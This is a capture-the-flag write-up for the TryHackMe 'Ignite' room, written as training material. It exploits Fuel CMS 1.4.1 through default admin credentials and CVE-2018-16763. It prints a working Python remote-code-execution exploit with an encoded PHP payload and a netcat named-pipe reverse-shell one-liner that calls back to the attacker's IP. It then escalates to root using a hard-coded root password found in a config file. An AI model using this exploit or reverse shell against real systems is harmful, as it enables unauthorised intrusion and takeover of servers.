tryhackme - ignite

https://tryhackme.com/room/ignite

A note on screenshots:

I do these write-ups over the course of several days and because of the nature of how tryhackme spins up virtual servers they will get a different IP address each time. If you look closely at my screenshots you will occasionally see different IP addresses for the same target. Don’t get hung up on this - the tools and techniques work exactly the same regardless of which IP address the target has.

 

The first thing to do is a network scan:

# Nmap 7.80 scan initiated Tue Nov 5 12:26:42 2019 as: nmap -sC -sV -oA ignite 10.10.123.133
Nmap scan report for 10.10.123.133
Host is up (0.13s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS


Service detection performed. Please report any incorrect results at https://nmap.org/submit/
# Nmap done at Tue Nov 5 12:26:59 2019 -- 1 IP address (1 host up) scanned in 16.23 seconds

Ignite is meant to be a beginner box but I was still surprised to see just one port/service open (most challenge boxes also include at least SSH). The tag line for the room is “A new startup has a few issues with their web server” but lets pretend we just stumbled on this server randomly on the internet. Even with our no-effort, quick and dirty scan a few important details pop out:

  1. The target is an Apache web server

  2. Like a lot of web servers it has a robots file

  3. It appears to be running the Fuel CMS (Content Management System)

There are several directions we can go from here and there is no set order of operations but with web stuff I like to just browse to the site first.

There is a ton of useful information on this page as we will discover later on…

This confirms what Nmap showed us that the target is indeed running Fuel CMS. The developers who are running this system seem to have forgotten to take down the default landing page which gives away several critical pieces of enumeration data.

I am going to put on my honesty hat for a second and admit that the first time I went through this challenge and got to this point I was sloppy and barely skimmed through this page. Because I did that I missed some important clues about how to compromise this box and wound up making my life harder. As I continue to learn and train I find that my biggest challenges are to slow down, pay attention to details, and take good notes. I’m getting a lot better about the notes but for you, the reader, I would say please don’t make the same rookie mistakes that I do - mind those details!

From here there are two ways to go and one them leads to a dead end (which is naturally the way I initially went). I’ll start with the dead end path both for the sake of being complete but also to document the methodology that otherwise on a different system could and probably would actually lead to compromise.

 

Robots.txt

Let’s briefly talk about the robots file. Website owners can use this file to tell web robots (a.k.a. “bots” or “crawlers”) whether certain pages on the site can be scanned or indexed. Naturally the bots can ignore those instructions and honestly the robots file usually just winds up being a target to tell attackers (and us) where to enumerate first. If you want more details about the robots file in general you can visit the The Web Robots Pages.

 

The target’s robot file only had one entry for “/fuel” and when we browse to that page we get redirected to the admin login page for the CMS.

Thanks robots.txt for telling me not to come here - it would have taken me an extra few minutes to find it on my own :)

A quick internet search for “fuel cms default password” will give you this helpful documentation page

The default creds for a lot of applications are “admin:admin” and this page confirms it. Sure enough, when we use those creds at the admin page we are brought to the admin dashboard.

Note: the documentation above says that the admin account is turned off by default which means that the “developers” of this site turned it back on. In production environments you should not use generic accounts that have administrative privileges unless you absolutely have to. Legitimate admins should all have unique accounts that are assigned only to themselves.

Also, do you remember earlier when I said that the default landing page had some valuable information that I missed? As it turns out, if you scroll to the very bottom of that web page you get this little nugget.

Derp.

Anyhoo, when you log into the admin portal you get this page.

This is the dead end I mentioned earlier. Once you have access to the admin dashboard you can poke around a bit but there really isn’t much to do here. That being said, a skilled attacker or pentester could likely find ways to use this access to dig deeper and/or compromise the machine entirely. Also keep in mind that attackers are not always intent on total compromise or data theft - a script kiddie who got in here could easily deface the site and cause just as much headache.

Time for the honesty hat again.

I am still very unskilled when it comes to offensive techniques and knowing all the ins and outs of the hacker killchain. At this point, other than doing a quick check on exploitdb to see if there was an exploit available for this version of Fuel CMS (there is), i didn’t know what else to do or how to proceed. I wound up having to read other people’s write-ups, which I will link to further down, in order to figure out what to do. I feel embarrassed when this happens, when I don’t have the knowledge or solution for every situation, and in the past that lead me to discouragement and eventually just giving up and focusing on something else that was easier or more familiar.

I’m happy to say that I’m mostly over that now. When I am stuck and have no clue what to do, especially if what I’m dealing with is brand new to me, I don’t hesitate to “cheat” and just look it up instead of beating my head against a wall. What is vitally important though is not to simply get the answer and move on but to dwell on it, do additional research, and learn the HOW and WHY of the answer. One way I do this is by forcing myself to include those sorts of details in my own write-ups. Not only does this make me stronger as a professional but hopefully helps others to learn as well.

 

Now that we’ve checked all the easy web stuff it’s time to move on to exploitation. A quick search on exploitdb for “fuel cms” returns one result:

https://www.exploit-db.com/exploits/47138

This exploit works on version 1.4.1 of Fuel CMS and we know from that super helpful default landing page that our target also uses 1.4.

Amazing.

 

Exploit

The exploit we are going to use takes advantage of a vulnerability assigned CVE-2018-16763.

I am not a developer and I suck at coding. I’m trying to get better but honestly I do not fully understand the underlying vulnerability here or exactly how the exploit code works but despite that we are going to give it a shot at explaining what’s happening.

TL;DR - The exploit uses python to get you a (limited) raw shell. The underlying vulnerability involves a combination of SQL injection and PHP code evaluation that allows remote code execution on the target.

If you follow the CVE link on the exploitdb page it takes you to a NIST site that says,

FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution.

Some searching reveals that PHP Code Evaluation “occurs when input data is run as source code…An attacker can execute arbitrary PHP code on the system. The attacker may also be able to execute arbitrary system commands.

“Code Evaluation (PHP).” Netsparker, https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/code-evaluation-php/.

A link on the NIST site takes you to the Github repo for the Fuel CMS itself where an issue has been flagged by a user named Omer Citak. Apparently the PHP code also allows SQL injection on top of code execution which when chained together allows Remote Code Execution (RCE).

The python code that the exploit uses is a bit beyond me too so I apologize that I can’t offer anything else useful here.

 

Once we download the exploit we need to tweak it a bit as it won’t work right out of the box. You can see the difference between the modified code (on the left) and the original (on the right).

# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763



import requests
import urllib

url = "http://10.0.0.130/"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
    xxxx = input('cmd:')
    url = URL+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
    r = requests.get(url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)

    print(r.text[0:dup])

I am indebted to Mehtab Zafar and his own write-up for this box for providing the modified code that allows this exploit to work.

When you run the exploit you are presented with a limited prompt for running commands on the target machine.

It’s important to enclose your commands in quotes (“ “) otherwise they will not work. You will also see a bunch of PHP errors but you can safely ignore those.

We see that we are executing commands as the “www-data” user - the word “system” is always prepended in the first line of output so you can ignore it

From here we could get the user flag and complete one of the room challenges but first let’s set up a proper reverse shell to our Kali machine. To do this we are going to use a combination of netcat, named pipes, and python.

 

Netcat

Let’s take a quick break to learn about netcat.

This week we are getting into Netcat the networking utility for use of just about anything with the network. -~-~~-~~~-~~-~- Please watch: "Bash Bunny Primer - Hak5 2225" https://www.youtube.com/watch?v=8j6hrjSrJaM -~-~~-~~~-~~-~-

 

The first thing to do is set up a listener on our local Kali machine.

nc: calls the netcat application

-n: do not do any DNS or service lookups

-l: listen for an incoming connection rather than initiating a connection to a remote host

-v: use verbose output

-p: specify the source port nc should use

1337: the port that nc will listen on for incoming connections

Now that we have our local listener set up we can use netcat on the remote target to push a shell back to us. To do this we need to chain a few different commands together, it can be a little confusing but we are going to break it up and explain each component.


rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.6.159 1337 >/tmp/f


rm /tmp/f ; # removes any pre-existing directory called ‘/tmp/f’, the semicolon ends the command similar to hitting the ENTER key

mkfifo /tmp/f ; # creates a named pipe at the location ‘/tmp/f’, semicolon ends the command

cat /tmp/f | # displays the contents of ‘/tmp/f’ and pipes the results into the next command

/bin/sh -i 2>&1 | # invokes the default shell binary, the ‘-i’ tells it to use interactive mode, redirect stderr2 to the same destination as stdout1, and pipe that to the next command

nc 10.8.6.159 1337 >/tmp/f # tell netcat to connect to the remote IP and PORT and redirect that output to the named pipe

We push a reverse shell from the target (on the left) to our local listener (on the right)

The interactive shell is displayed on our local machine because we invoked it on the remote target, piped it into netcat which redirected it to the named pipe which is being cat'd and piped into the interactive shell, loop back around etc etc...

We now have a raw shell but since it’s not running in a TTY we still cannot get the root flag; we need a full terminal session in order use certain commands such as su, sudo, vi, etc.

To do this we are going to use python to launch a second process inside of a TTY.

python -c ‘import pty; pty.spawn(“/bin/bash”)’

We can snag the user flag by moving to the home directory of our currently logged in user (www-data).

The last step is to get the root flag but it’s located in the root user’s home folder and we currently do not have permission to view it.

As you will see in a minute this is where our previous efforts converge to bring us the win.

There are several potential ways to escalate your privileges to root, depending on the target you are working with, but in this case it turns out to be pretty straightforward. If we go back to that default landing page we see an interesting clue:

Again, don’t be like me and skip over the details! If you read carefully you see reference to a PHP file that has a hard coded username and password - we should definitely check that out.

You can use the find command in Linux to search for particular files in particular directories. We know that the file we are looking for is called “database.php” so lets start at the root directory (“/”) and search the whole file system.

When you do a search like that without any filtering you get a lot of permission errors as the find command iterates through the file system.

This is a lot of useless information that is tedious to parse through

We can make our lives easier by filtering out all the “Permission denied” results and zero in on the one that we care about.

find / -name database.php 2>&1 | grep -v “Permission denied”

Much better.

Use the cat command to view the file and skim through the results:

cat /var/www/html/fuel/application/config/database.php

Hard-coding the root password into any file is bad and you should never do it.

It’s bad enough that the root password is hard-coded into a file but if you look at the permissions it seems that everybody and their brother can read it:

Oof

Now we have the root password for the target system and because we went through the trouble to get ourselves a full TTY session we are able to use the su command to switch to the root user and get the flag.

 

Kill-chain Summary

Let’s summarize the complete chain of actions that got us from boot to root:

  1. Network scan revealed port 80 open on the target

    1. Also revealed the robots.txt file and the name of the CMS application

  2. Browsed to the website home page that happened to be incorrectly set up with the CMS default landing page. The landing page revealed:

    1. The application version number

    2. The location of the default admin login page

    3. The admin login credentials

    4. The location of a PHP configuration file that contained hard-coded credentials (for the root account, as it turned out)

  3. Searched the web and found a pre-made exploit that matched the CMS version running on the target

  4. Customized the exploit for our target and used it to gain rudimentary remote command input

  5. Used our limited command input to upgrade our foothold to a slightly better reverse shell back to our local system

  6. Upgraded our connection again by using python to launch a full bash shell in a TTY in order to gain the ability to switch between user accounts on the remote system

  7. Escalated our privileges to root using the credentials that were improperly hard-coded in the PHP config file (that was itself revealed on the improperly deployed default landing page)